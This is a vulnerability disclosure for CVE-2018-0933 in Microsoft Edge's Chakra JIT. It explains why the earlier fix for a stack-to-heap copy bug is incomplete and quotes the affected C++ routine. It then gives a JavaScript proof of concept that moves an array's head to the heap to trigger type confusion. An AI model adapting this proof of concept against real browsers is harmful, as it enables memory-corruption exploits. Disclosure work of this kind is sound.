`Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete.   
  
CVE-2018-0933  
  
  
Here's a snippet of JavascriptArray::BoxStackInstance. To fix <a href="/p/project-zero/issues/detail?id=1420" title="Microsoft Edge: Chakra: JIT: stack-to-heap copy bug" class="closed_ref" rel="nofollow"> issue 1420 </a>, "deepCopy" was introduced. It only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.  
  
template <typename T>  
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)  
{  
Assert(ThreadContext::IsOnStack(instance));  
// On the stack, the we reserved a pointer before the object as to store the boxed value  
T ** boxedInstanceRef = ((T **)instance) - 1;  
T * boxedInstance = *boxedInstanceRef;  
if (boxedInstance)  
{  
return boxedInstance;  
}  
  
const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();  
if (ThreadContext::IsOnStack(instance->head))  
{  
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),  
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),  
T, instance, true, deepCopy);  
}  
else if(inlineSlotsSize)  
{  
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);  
}  
else  
{  
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);  
}  
  
*boxedInstanceRef = boxedInstance;  
return boxedInstance;  
}  
  
PoC:  
function inlinee() {  
return inlinee.arguments[0];  
}  
  
function opt(convert_to_var_array) {  
/*  
To make the in-place type conversion happen, it requires to segment.  
*/  
  
let stack_arr = [];  
  
// Allocate stack_ar->head to the heap  
stack_arr[20] = 1.1;  
  
stack_arr[10000] = 1.1;  
stack_arr[20000] = 2.2;  
  
let heap_arr = inlinee(stack_arr);  
convert_to_var_array(heap_arr);  
  
stack_arr[10000] = 2.3023e-320;  
  
return heap_arr[10000];  
}  
  
function main() {  
for (let i = 0; i < 10000; i++)  
opt(new Function('')); // Prevents to be inlined  
  
print(opt(heap_arr => {  
heap_arr[10000] = {}; // ConvertToVarArray  
}));  
}  
  
main();
